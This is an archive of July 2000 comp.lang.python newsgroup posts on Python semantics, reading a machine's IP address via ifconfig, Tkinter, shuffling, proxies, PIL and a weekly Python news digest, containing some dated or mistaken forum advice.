References: <8lqd0p$snj$1@news.dtc.hp.com> <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com> <8lqiq3$7iha$1@nntp6.u.washington.edu> <8ls8bm$cde$1@news.dtc.hp.com> <39829E5D.45357D37@innuendo.de> <8lvtk2$8pa$1@news.dtc.hp.com>
Message-ID: <3985B329.1174343C@innuendo.de>

you try to describe highlevel features with lowlevel arguments. this
will fail. i'm currently working with linux/KDE to write this answer. i
see a window with a grey background on the screen, a toolbar and much
more. in some way these things are 0s and 1s in the memory of my
graphiccard but you won't get happy with this binary view. 

in my opinion it is the same with computer languages. when working with
high level oo languages you really do NOT work with 0s and 1s, you are
working with objects. when programming with c or assembler you have to
know about addresses and memory locations and much more. otherwise you
will fail. but you can not compare this c/assembler view with an
objectoriented view. you will fail too if you try to describe highlevel
language paradigmas with the assembler view (every language will
implement it in another way).


"(Greg Weeks)" wrote:
> So you phase it.  I would never talk that way myself, and if someone asked
> me to describe what was going on, I would use quite different words, eg:
> Each object is the address of a region of memory -- an address that can be
> written to multiple locations.  You prefer to think of the object as a
> region of memory [I think], and you define a writing of that memory's
> address to be a "reference".  I prefer to think of the object as an
> address, and I don't give any special name to a writing of that address.
> 
> There is no right or wrong here, but there is also no single correct
> description of what is going on.  Some say Python is call-by-reference,
> some say Python is call-by-value.  Everyone is correct.
> 
> Greg
> 
> PS: My motivation for my particular phasing is that I like to view all data
> in the computer as patterns of 0s and 1s.  (I find this tidy and easy to
> remember.)  An address is a pattern of 0s and 1s.  A block of memory is
> not.  So, for me, a datum can be an address, but not a block of memory.


From aahz at netcom.com  Mon Jul 24 16:24:34 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 24 Jul 2000 20:24:34 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <397C5DD3.437C4431@eecis.udel.edu> <397C6BD8.9BDBB174@prescod.net> <6O_e5.26406$1h3.428478@news20.bellglobal.com>
Message-ID: <8li8m2$hu2$1@slb7.atl.mindspring.net>

In article <6O_e5.26406$1h3.428478 at news20.bellglobal.com>,
Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
>
>It doesn't matter what it is called!  You don't like a name?  Python's
>arbitrary binding allows you to use your own...  Isn't that what it was
>intended for?

That's a deprecated way of thinking.  Remember that one of the primary
goals of Python is easy readability -- people should use the standard
library names for things as much as possible.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From jaredu at its.caltech.edu.bbs  Mon Jul 17 19:30:03 2000
From: jaredu at its.caltech.edu.bbs (jaredu at its.caltech.edu.bbs)
Date: 17 Jul 2000 23:30:03 GMT
Subject: test_socket: similar problem
Message-ID: <3bRTAR$kyJ@openbazaar.net>

I'm having the same problem, but on a Mac (Mac OS 9.0.4 G4 w/ Python
1.5.2) The solution is probably the similar, but how do I fix it on a
Mac?

--Jared

> Harry George wrote:
> >
> > [I looked in dejanews, but all the socket queries are way beyond
where
> > I'm stuck.]
> >
> > I have a win95 machine which is samba'd to a linux box.? I'm trying
to
> > learn to do python on win95 (COM et al).? First step is to get it
> > running.? py152.exe went ok; then win32all-128.exe.? python,
> > pythonwin, icons in the explorer all ok.? Able to edit and run
simple
> > hello, worlds.
> >
> > Then in the interpreter I tried:
> >? import test.autotest
> > It ran ok (with lots of skipped optionals), but test_socket crashed
> > with socket.error "host not found"
>
> I had the same error. As far as I understood my? computer didn't know
> about his name.. ;-) I made the? file "c:\windows\hosts" , that
> contained one row:
>
> 128.0.0.1 localhost
>
> and after reboot all worked fine..
> >
> > Of course this could be a non-python win95 setup issue, but with
> > tcp/ip running ok (samba, ftp, ping, etc.), I'm wondering if there
is
> > a python-specific issue.? Any ideas?
> >
> > --
> > Harry George
> > hgg9140 at seanet.com
>
> Alexei Kichkine (http://infocentr.r


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net.bbs  Mon Jul 17 15:40:06 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 19:40:06 GMT
Subject: Parser project
Message-ID: <3bRNB7$ku2@openbazaar.net>

Here is a project for a parser hacker:

Write a Python module that can read a grammar in the syntax that Python
uses (see Grammar/Grammar in the source distribution) and generate a
parser object without any special compilation stage:

from newparser import Parser

parser=Parser( grammar="/python/src/Grammar/Grammar" )
parsetree=parser.parse( sys.argv[1] )
code=compileast( parsetree )
eval( code )

With this tool, people could easily write Python-like languages in
Python by making changes to the grammar. This would be great for those
who want to experiment with new language features without building (and
distributing) a special version of Python. Let's say you invented a
Python-like language for matrices. You would tell people to install
Python and then invoke your code like this:

python matrixLang.py helloworld.mtrx

You could imagine the same for a Python-like language for XML
processing, or static type checking, ...or just to try out a new feature
that you would like to be in some future version of Python. It's not
that doing this is impossible today, it just isn't as easy as it would
be if there were a module that could parse things at runtime and was
compatible with Python's grammar syntax. (or maybe there is and I just
don't know it!!)

Once your feature was "worked out" you might want to use a compiler
compiler or even a C-based parser to speed it up, of course.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From weeks at golden.dtc.hp.com  Thu Jul 27 23:06:46 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 28 Jul 2000 03:06:46 GMT
Subject: "always passes by reference"
References: <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com> <8lqd0p$snj$1@news.dtc.hp.com>
Message-ID: <8lqtc6$2u1$1@news.dtc.hp.com>

(Greg Weeks) (weeks at golden.dtc.hp.com) wrote:
: In the C world, it is declared that an object is a region of storage.

"declared" might be confusing.  I simply meant "stated in English", eg,
from K&R:

    "An object is a named region of storage"

Regards,
Greg


From moshez at math.huji.ac.il  Sat Jul 29 02:31:54 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 29 Jul 2000 09:31:54 +0300 (IDT)
Subject: How does Python compare to ?
In-Reply-To: <39820F52.4B6787FE@paradise.net.nz>
Message-ID: <Pine.GSO.4.10.10007290929450.18798-100000@sundial>

On Sat, 29 Jul 2000, Frank Kruchio wrote:

> Specifically I couldn't find any info on how does Python compared(if you can) to PHP.
> They are both open source, right ?

Yes.

> I looked at the syntax of both languages and I need someones opinion who knows both and can give me
> an _unbiased_ view on this.

Then why did you ask here? There are few enough unbiased people here.

> What about Python versus Java Servlets for CGI applications ?

Why use CGI? Its time is long past. If anything, you should compare

Apache/PHP vs. Enhydra/Java vs. Zope/Python

as modern days site building tools. Each has its own advantages and
disadvantages.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From bvoh at sdynamix.com  Mon Jul 10 18:07:54 2000
From: bvoh at sdynamix.com (bv)
Date: Mon, 10 Jul 2000 15:07:54 -0700
Subject: Language Challenge -- Results
Message-ID: <396A493A.DE1DF77B@sdynamix.com>

Language Challenge 2000 -- Results

Contest entries have been tabulated and you're invited to find out how
different languages fared. View the effortless solution of this
technical problem embodying a central theme of modern engineering and
scientific practice -- computer aided optimal design. 

We'd like to particularly encourage a visit by the younger generation
which probably never even saw a code without trailing semicolons, and to
those who are curious how to "roll your own" before purchasing expensive
optimization toolboxes.

To view the contest summary please click on the "Language Challenge
2000" on http://sdynamix.com




From weeks at golden.dtc.hp.com  Wed Jul 26 00:53:44 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 26 Jul 2000 04:53:44 GMT
Subject: conatraints on "for" magic?
Message-ID: <8llqso$q75$1@news.dtc.hp.com>

Initially I learned that

    for x in seq:
	<do stuff>

required seq to be a sequence.  But then I saw the code:

    import fileinput
    for line in fileinput.input():
	<do stuff>

How did the implementer of the "fileinput" module convince the "for"
construct that fileinput.input() was a sequence?

(In "Python ESSENTIAL REFERENCE" I don't find any way of creating class
instances that are recognized by "for" as sequences.)

Regards,
Greg


From europax at home.com  Fri Jul  7 22:18:04 2000
From: europax at home.com (europax at home.com)
Date: Sat, 08 Jul 2000 02:18:04 GMT
Subject: Anyone used Python for GPIB instrument control?
Message-ID: <39668E65.356337BF@home.com>

Hello all,

I am new to this ng and to Python.  I am wondering if anyone has used
Python to control a National Instruments GPIB card on a Windows NT box? 
I've searched and found a couple of references on my own.

A group at work is using Perl for this task and there is some pressure
to go along with them.  I've tried Perl, and frankly, assembly language
is clearer than Perl code to me.  However, Python passed my test as I
was able to do something with it in the first minute-  and I can
understand what most of the syntax means.

Thanks,  Rob.


From wware at world.std.com  Sat Jul  8 11:23:31 2000
From: wware at world.std.com (Will Ware)
Date: Sat, 8 Jul 2000 15:23:31 GMT
Subject: Palm Python?
References: <8h8jmc$t9i$1@gaia.cdg.acriter.nl> <14649.14534.184930.984180@malibu.aero.org> <FvLsJJ.CAC.0.bloor@torfree.net> <3939FFB4.A7824367@mindspring.com> <da1eh8.r4g.ln@demonseed.net> <m3zooxhm9k.fsf@chinon.cnrs-orleans.fr> <slrn8md52n.gb2.bwinton@tor.dhs.org>
Message-ID: <FxDxF7.E1D@world.std.com>

Blake Winton (bwinton at tor.dhs.org) wrote:
> But man, is my C ever rusty...
> "Why can't I name two functions the same when they're in different
> files, and I only use them in their respective files?"

It's true that C's notion of namespaces is quite crude by Pythonic
standards, but you can give two functions the same name, if you
declare them with the keyword "static", which limits their scope to
the source file in which they appear. You'll probably want to put a
prototype at the top of the source file to catch forward references.

There's actually an interesting problem with "static", as it applies
to variables rather than functions. For variables, it also limits the
name scope to the current source file, but it has a second meaning
which is to ensure that the variable has a permanent address (rather
than being, say, just a local allocated on the stack). It would have
been good to use a second keyword for this second meaning. This hasn't
ever actually been a problem for me in writing C code, but it's an
interesting little design blunder.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From gjohnson at gs.verio.net  Mon Jul 17 15:17:02 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Mon, 17 Jul 2000 14:17:02 -0500
Subject: Getting local IP address...
Message-ID: <01BFEFF9.AE1E26D0.gjohnson@gs.verio.net>

Yes I understand that os.system is to be used with extreme caution.  The 
ifconfig eth0 command does nothing but query information already stored and 
saved.  If someone hacked your unix box, they could just do an ifconfig 
eth0 instead of using your python sctipt.  There is also no need for keys 
or passwords considering nslookup/dig does this already...

I don't see any probs...

On Monday, July 17, 2000 1:12 PM, Aaron Rhodes [SMTP:arhodes at psionic.com] 
wrote:
>
> Howdy...
>
> That works too.  There are some purists
> who may take offense to reliance on external system binaries
> (ifconfig and grep)...not a big deal in my opinion.
> ifconfig on Linux probably does something similar
> to the fcntl/ioctl stuff I was mentioning...perhaps there
> should be a platform independent python-ifconfig library?
>
> The API to such a library could be constructed to provide
> a standard way to do "ifconfig-ish" stuff on
> Windows/NT/Unices. (i.e. up and down network interfaces,
> get the ip address off the net interface, set the ip on the
> net interface, change firewall rules perhaps, etc.)
>
> Aaron
> arhodes at psionic.com
>
>
> Tony Johnson wrote:
> >
> > Why not just do an addr = os.system(ifconfig eth0 | grep inet)
> > This should return the ip addy of the nic...
> >
> > Since the way OS's store IP addys is so implementaion dependant, I 
don't
> > see how it could be portable unless people start making a posix way of
> > storing an ip addy on top of the os dependant way
> >
> > On Monday, July 17, 2000 11:33 AM, Aaron Rhodes 
[SMTP:arhodes at psionic.com]
> > wrote:
> > > Here's a tremendously non-portable way to do it for
> > > Linux by reading it straight off the ethernet card...
> > >
> > > import string,socket,fcntl
> > > SIOCGIFADDR = 0x8915
> > > ifname = 'eth0'
> > > s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> > > ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> > > r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> > > addr = string.join(map(str,map(ord,r[20:24])),'.')
> > > print addr
> > >
> > >





From steffen.ries at sympatico.ca  Sat Jul 22 08:10:19 2000
From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Sat, 22 Jul 2000 12:10:19 GMT
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net> <210720002132510070%matt@mondoinfo.com> <39794752.D54A50CD@mediaone.net>
Message-ID: <m3bszqwel2.fsf@gondolin.beleriand>

Toy <gee308 at mediaone.net> writes:

> Thanks for showing me how to do that.  I tried to edit something, but it
> didn't work, I'll show you:
> 
> 
> def getMyAddr():
>   object = raw_input(Which device is connect to the internet(i.e. ppp0, eth0,
> ne3: ")
>   p=os.popen("/sbin/ifconfig",object)
> 
> Is it possible to do that?  Will it work with os.system?  What are the
> differences bewteen using os.popen and os.system?  Thanks for your time.
> BTW, I only compared OpenBSD 2.7, Linux 2.2.15, and FreeBSD 4.0, but it seems
> if you do the string search  on ifconfig with find text on 1 line beginning
> with inet and ending with mask, It looks like you can get the IP from those 3
> machines.(of coure I still can't write some code to actually do it).  Thanks
> again.
> Jason Toy
> 

popen() expects as the first parameter a command line. The optional
second parameter is a mode string, either "r" for reading or "w" for
writing.

You want:
  p=os.popen("/sbin/ifconfig %s" % object)

Both os.popen() and os.system() run commands through the system
shell. The difference is os.popen() returns a pipe for reading results
or writing input to the command. os.system() just runs the command.

-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From speed at ?.com  Mon Jul 31 14:46:22 2000
From: speed at ?.com (Jake Speed)
Date: Mon, 31 Jul 2000 18:46:22 GMT
Subject: random.shuffle?
References: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com> <oqittmuxgj.fsf@titan.progiciels-bpi.ca> <3985C75F.7030AB6C@alcyone.com>
Message-ID: <sobibup69ft174@corp.supernews.com>

max at alcyone.com (Erik Max Francis) wrote in 
<3985C75F.7030AB6C at alcyone.com>:

>Fran?ois Pinard wrote:
>
>> def shuffle(items):
>>     """Shuffle ITEMS in place.  ITEMS should normally be a list."""
>>     for top in range(len(items)-1, 0, -1):
>>         index = whrandom.randint(0, top)
>>         items[index], items[top] = items[top], items[index]
>
>This is a biased shuffling algorithm.  When swapping cards, you'd want
>to pick the other card from the whole of the deck, not the deck that
>you've touched so far.  If you start with a sorted deck, for instance,
>it's easy to see that cards can't end up in every place; see Knuth.

It's not selecting from the deck touched so far; it's
selecting from the untouched deck -- it's counting backwards.
This is the correct way to do it.

-Speed!


From gmcm at hypernet.com  Thu Jul 20 19:55:14 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 20 Jul 2000 23:55:14 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no>
Message-ID: <8F77C5E93gmcmhypernetcom@199.171.54.155>

Thomas Weholt wrote:

>Is there a way to define a method in a class that is called each time
>every other method is called in that class, and based on a attribute,
>raise an exception or let the method-class go thru?

Not with a method. Use a proxy:

class Proxy:
  def __init__(self, obj):
    self.__dict__['_obj'] = obj # avoid the __setattr__ hook
  def __getattr__(self, nm):
    attr = getattr(self._obj, nm, None)
    if attr:
      # do what you like
      return attr
    raise AttributeError, "%s not found" % nm  	# vital 
  def __setattr__(self, nm, val):
    # do what you like and maybe
    setattr(self._obj, nm, val)

Now just wrap your object in the proxy.

-Gordon


From ejr at lotus.CS.Berkeley.EDU  Fri Jul 21 14:51:17 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 21 Jul 2000 18:51:17 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu> <m3wvifz5pj.fsf@brant.geog.ubc.ca>
Message-ID: <8la635$bff$1@agate.berkeley.edu>

And Phil Austin writes:
 - Any topic related to numerical methods and Python would be within
 - the domain of that list.

Hmm?  Even if they have little to nothing to do with numpy?  I
figured people would be as picky with list names as they are
with operators.  ;)

Jason


From richard_chamberlain at ntlworld.com  Sun Jul 30 07:10:04 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sun, 30 Jul 2000 12:10:04 +0100
Subject: not stopping til it works
References: <3983E403.36183DF8@structurex.net>
Message-ID: <u_Tg5.2077$T_1.41071@news6-win.server.ntlworld.com>

Walter,

from Tkinter import *
root=Tk()
frame1=Frame(root)
frame2=Frame(root)
answer=StringVar()
ent1SV=StringVar()
ent2SV=StringVar()
label=Label(frame1,width=30,textvariable=answer)
entry1=Entry(frame2,width=20,textvariable=ent1SV)
entry2=Entry(frame2,width=20,textvariable=ent2SV)
button=Button(root,width=10,text='Calculate')
frame1.pack(side=TOP)
frame2.pack(side=TOP)
button.pack(side=TOP,anchor=NE)
label.pack(side=TOP)
entry1.pack(side=LEFT)
entry2.pack(side=LEFT)
def power(event):
    int1=int(ent1SV.get())
    int2=int(ent2SV.get())
    str="%d to the power of %d=%d" %(int1,int2,(int1**int2))
    answer.set(str)
button.bind('<Button>',power)
root.mainloop()

Not a very beautiful example so you'll need to mess around with the
structure.

To get the contents of entries use a StringVar. So you create an instance of
a StringVar and then assign it to a textvariable option. You then use .set
and .get to set and get the contents.

You can assign the button's event in two different ways, firstly by using
the command option and as I'm demonstrating here by binding an event to a
procedure.

Richard

walter hanagriff <walter111 at structurex.net> wrote in message
news:3983E403.36183DF8 at structurex.net...
> before i go on, one thing to say, i do not have the money to buy a book
> right now, otherwise i would, it would be great to actually be able to
> read a good tutorial on tkinter at almost any price, just saying since i
> did get that suggestion once
> i have tried so many ways to get what i want to work, and getting
> nowhere, its definitely not from lack of trying and patience that keeps
> me asking the same questions, though if i ever get these 2 answered it
> will be all for awhile i am sure
> i wont give up though so i have simplified the problem as much as
> possible, the only problems so far that i know of
> i have these 2 entry fields, how do i get any info that a person puts
> into them
> i tried using textvariable but i cant get it to work, and i tried using
> the get method with entry widget, but neither of these 2 things work
>
> next, how do i get that info to work with the pow() function, ex. the
> user inputs 3 in box 1 and 2 in box 2, i get those numbers and show on
> the screen this:
> first entry, " to the power of ", second entry, " = ", first
> entry**second entry
> actually it should look like this, "3 to the power of 2 = 9"
> i next want it so that when pressed, button will make this info appear
> in the frame
> or any better ideas for showing the answer?
> unfortunately i can do very little testing to see how to make the button
> work since i have a hard enough time getting there because of the first
> problem, but in test i have given predefined numbers to print out and
> tried using the button to show them and i tried not packing the label
> til i pressed button, or tried calling a def when i press button but no
> matter what the label prints out along with entry fields, before i even
> press the button and pressing button does nothing, when i dont even get
> an error from something
>
> def power(self, frame):
>     Entry(frame, width = 10).pack()
>     Entry(frame, width = 10).pack()
>     Button(frame, text = 'Get answer').pack(side = LEFT)
>
>




From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 11:21:42 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Tue, 25 Jul 2000 15:21:42 GMT
Subject: Saving PNG files using Win32 PIL
References: <397D9274.FEB1132D@caren.demon.co.uk> <8lk7t0$i1j$1@pollux.ip-plus.net>
Message-ID: <agif5.43572$1h3.551734@news20.bellglobal.com>

http://www.pythonware.com/downloads.htm

Says this, near the end of the page:

"Optional support libraries must be downloaded separately: jpeg and zlib."

...you'll want to follow the zlib link:
ftp://ftp.freesoftware.com/.0/infozip/zlib/zlib.html

The zlib library is used for manipulating PNG files...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"J?rgen Hermann" <jhe at webde-ag.de> wrote in message
news:8lk7t0$i1j$1 at pollux.ip-plus.net...
>
> "Loris Caren" <loris at caren.demon.co.uk> schrieb im Newsbeitrag
> news:397D9274.FEB1132D at caren.demon.co.uk...
> > I've writen a script to generate PNG images using PIL.  It works a treat
> > under Linux, but when I try to port it to MSWindows, the
> > PIL/PngImagePlugin spits saying that I don't have a zip encoder. I
> > already have a copy of pkzip, but I got hold of a copy of gzip.exe and
> > stuck it in C:\Windows\zip.exe but to no avail. Can anyone confirm that
> > I need a zip executable, or is the PIL wanting a DLL, etc?
>
> A possible cause (I'm guessing here) is that you need to install the
Python
> Win32 extensions.
>
>
>




From alex at magenta.com  Sat Jul 22 03:56:30 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 22 Jul 2000 09:56:30 +0200
Subject: iterating over lines in a file
References: <75F7304BB41CD411B06600A0C98414FCB36815@ORSMSX54>
Message-ID: <8lbk9v02o17@news2.newsguy.com>

"Daley, Mark W" <mark.w.daley at intel.com> wrote in message
news:75F7304BB41CD411B06600A0C98414FCB36815 at ORSMSX54...
> Isn't the argument for readlines() a memory size, as in 512 bytes?  If so,
> it is possible to have 3509 lines that are <= 512 bytes.

How?  Each line occupies at least one byte, its \n...


Alex





From no_spam at umich.edu  Mon Jul 24 16:41:57 2000
From: no_spam at umich.edu (Jeff)
Date: Mon, 24 Jul 2000 13:41:57 -0700
Subject: executing Python statements
Message-ID: <8li9mm$ehe@news.or.intel.com>

Hi, say I have a variable called 'x', and it is 100.  I have another
variable called 'run_this_string' and it reads 'print x'.  How can I then
execute run_this_string and get 100 to print out?  Here is a code snippet:

x = 100
run_this_string = 'print x'





From kpmurphy at my-deja.com  Mon Jul 10 10:26:40 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 10 Jul 2000 14:26:40 GMT
Subject: tkinter menus
Message-ID: <8kcmeb$m5r$1@nnrp1.deja.com>

menu, menu... anyone, anyone?

	How do you configure top-level menu entries?  I'd like to put a 'help'
menu (and possibly others) on the right end of the menu bar.  I've seen
examples where you make your own frame... but there has to be a way
built in... doesn't there?  :)

--> keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From gregory_griffiths at cargill.com  Wed Jul 26 10:59:05 2000
From: gregory_griffiths at cargill.com (Greg Griffiths)
Date: Wed, 26 Jul 2000 15:59:05 +0100
Subject: python compiler?
References: <8lkvic$d621@magpie.cat.net.th>
Message-ID: <8lmubr$too$1@mercury.cargill.com>

python in its essence is a scripting language like PERL and PHP and ASP, it
compiles itself into bytecode behind the scenes, so you should never need a
compiler, although a better editing suite would be nice and you can find
these on the web, try starting at http://www.python.net

Jamie Allison <dbug at verdenet.com> wrote in message
news:8lkvic$d621 at magpie.cat.net.th...
> Does anybody know of a compiler for pyhton?
>
>




From ge at nowhere.none  Mon Jul 31 12:25:32 2000
From: ge at nowhere.none (Grant Edwards)
Date: 31 Jul 2000 11:25:32 -0500
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jul 31)
Message-ID: <BDC8D78FBB0EF0D3.64FBDCF0635FC68D.CEECBDE1EA3485A9@lp.airnews.net>

    David Bolen points out a handy module that inserts variable
    values into strings in a manner familiar to Perl and Tcl users.
        http://deja.com/=dnc/getdoc.xp?AN=650354223

    Sam Penrose provides further thoughts on the task of
    substituting variable values into strings.
        http://deja.com/=dnc/getdoc.xp?AN=651273994

    Kirby Urner posts information about and links to pages on
    object-oriented programming in math education.
        http://deja.com/=dnc/getdoc.xp?AN=651880378

    Corran Webster is working on a module that allows Python
    programmers to define and verify module interfaces.
        http://deja.com/=dnc/getdoc.xp?AN=651945388

    Irmen de Jong announces version 1.3 of Pyro (Python Remote
    Objects): a distributed object system for Python.
        http://deja.com/=dnc/getdoc.xp?AN=652523377

    Huaiyu Zhu announces version 0.3.0 of MatPy (Matrix package for
    Python).
        http://deja.com/=dnc/getdoc.xp?AN=652523377

    Guido van Rossum posts a link to slides from a talk given at
    the O'Reilly Open Source Convention and hints at release plans
    for 1.6, 2.0, and plans for moving python.org to a site hosted
    by VA Linux.
        http://deja.com/=dnc/getdoc.xp?AN=651193292

    Guido van Rossum says that the Python license confusion
    will soon get resolved.
        http://deja.com/=dnc/getdoc.xp?AN=652018497
    Tim Peters provides a widely-applauded update on the CNRI
    license situation.
        http://deja.com/=dnc/getdoc.xp?AN=652656579
    Peter Schneider-Kamp works on an open letter to CNRI requesting
    clarification on the license situation.
        http://deja.com/=dnc/getdoc.xp?AN=652756204

    Michael Str?der announces version 0.7.8 of web2ldap.py: a
    full-featured LDAPv2+ client written in Python designed to run
    as a web gateway.
        http://deja.com/=dnc/getdoc.xp?AN=652417316

    David Bolen opens a discussion about changes to the Win32pipe
    module expected to be released in Python 2.0.
        http://deja.com/=dnc/getdoc.xp?AN=647993294

    PythonWare announces availability of evaluation copies of
    version 1.0.1 of the PythonWorks IDE.
        http://deja.com/=dnc/getdoc.xp?AN=651786626

    Cameron Laird keeps an eye on Perl developments at the O'Reilly
    Open Source Convention.
        http://deja.com/=dnc/getdoc.xp?AN=651804443
    And Dan Kuchler provides additional comments and another
    link on Perl developments.
        http://deja.com/=dnc/getdoc.xp?AN=651804443

    Greg Weeks looks up cites for the never-ending discussion over
    what to call Python's assignment and parameter passing model.
        http://deja.com/=dnc/getdoc.xp?AN=652560546

    Grant Munsey notes that Adobe is working on Python plug-ins for
    Photoshop, Illustrator, and After Effects.
        http://deja.com/=dnc/getdoc.xp?AN=652236129

    Timothy O'Mally provides a module that can set the timeout
    values for TCP sockets.
        http://deja.com/=dnc/getdoc.xp?AN=652595989


========================================================================

Everything you want is probably one or two clicks away in these pages:

      Python.org's Python Language Website is the center of Pythonia
          http://www.python.org

      eff-bot's complements this digest with his daily python url
          http://hem.passagen.se/eff/url.htm

      Much of Python's real work takes place on Special-Interest Group
          mailing lists http://www.python.org/sigs/

      Python Consortium emerges as an independent nexus of activity
          http://www.python.org/consortium

      The Vaults of Parnassus ambitiously collects Python resources
          http://www.vex.net/~x/parnassus/   

      Python FAQTS
          http://python.faqts.com/

      Python To-Do List anticipates some of Python's future direction
          http://www.python.org/cgi-bin/todo.py

      Python Journal is at work on its second issue
          http://www.pythonjournal.com

      Links2Go is a new semi-automated link collection; it's impressive
      what AI can generate
          http://www.links2go.com/search?search=python

      Archive probing trick of the trade:
          http://www.dejanews.com/dnquery.xp?QRY=&DBS=2&ST=PS&defaultOp=AND&LNG=ALL&format=threaded&showsort=date&maxhits=100&groups=comp.lang.python


Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://purl.org/thecliff/python/url.html
or
  http://www.dejanews.com/dnquery.xp?QRY=~g%20comp.lang.python%20Python-URL%21


Suggestions/corrections for next week's posting are always welcome.
[http://www.egroups.com/list/python-url-leads/ is hibernating.  Just
e-mail us ideas directly.]

To receive a new issue of this posting in e-mail each Monday morning,
ask <claird at neosoft.com> to subscribe.  Mention "Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From gherman at darwin.in-berlin.de  Thu Jul 13 10:46:41 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Thu, 13 Jul 2000 16:46:41 +0200
Subject: Files question
References: <396DB8C4.EC239CD2@sicon.net>
Message-ID: <396DD651.4BD08E97@darwin.in-berlin.de>

sergio wrote:
> 
>     I'm working in winNT Server 4.0.
>     How can i know if a file is open by other apllication, in order to
> wait till the file is free

Have you tried just reading a few bytes and catch the
IOError if there is any (supposed you know the file 
does exist)? Just an (untested) idea...

Dinu

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")


From mfletch at tpresence.com  Mon Jul 10 13:07:32 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Mon, 10 Jul 2000 13:07:32 -0400
Subject: Anyone used IP multicast (demo/sockets/mcast.py) on NT?  I'm gett
	ing a WSAEFAULT error
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3419@VRTMAIL>

Multicast (C++) applications do work on this machine, but mcast.py is
exiting with:

D:\bin\lang\Python\Demo\sockets>mcast -s
Traceback (innermost last):
  File "D:\bin\lang\Python\Demo\sockets\mcast.py", line 94, in ?
    main()
  File "D:\bin\lang\Python\Demo\sockets\mcast.py", line 25, in main
    sender(flags[0])
  File "D:\bin\lang\Python\Demo\sockets\mcast.py", line 39, in sender
    s.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL, ttl)
  File "<string>", line 1, in setsockopt
socket.error: (10014, 'winsock error')

Which the windows socket docs seem to indicate is likely a malformed
structure or an invalid argument.  I'm not sure where that would come from
(I'm rather new to multicast :) ).  Anyone know what's going on?

Advice appreciated,
Mike

__________________________________
 Mike C. Fletcher
 Designer, VR Plumber
 http://members.home.com/mcfletch



From pohanl at my-deja.com  Mon Jul 31 01:29:32 2000
From: pohanl at my-deja.com (pohanl at my-deja.com)
Date: Mon, 31 Jul 2000 05:29:32 GMT
Subject: Dynamic language
Message-ID: <8m32rq$6v2$1@nnrp1.deja.com>

The future of languages.

As you all know, the history of languages started with instruction
codes for a machine.  These were very basic operations like the
following...

Load 001 R1  <- put 1 in storage 1(register 1)
Load 002 R2  <- put 2 in storage 2 (register 2)
Add R1 R2    <- add storage 2 to storage 1 and put results in storage 1


Of course, this is assembly.  Which is translated to
machine language..

005 001 001
005 002 002
006 001 002

(assuming 005 = Load, 006 = Add).

Since machine language are just bytes, you can convert them to
binary...

00000101 00000001 00000001
00000101 00000010 00000010
00000110 00000001 00000010

These are fed to the processor of the CPU (Central Processing Unit)
which understand instruction of Load, Add, etc.  and follows
what the instructions tell it to do.  Those individual bits trigger
events in the transistors.  So you are actually talking to transistors
if you think low enough.


Well.  If you notice the above language follows a particular syntax,
namely Operator Operand Operand.  A B B
If you construct a grammar tree for this... it looks like so...

Program=>Statements
Statements=>Statement Statements
Statement=>Operator Operand Operand
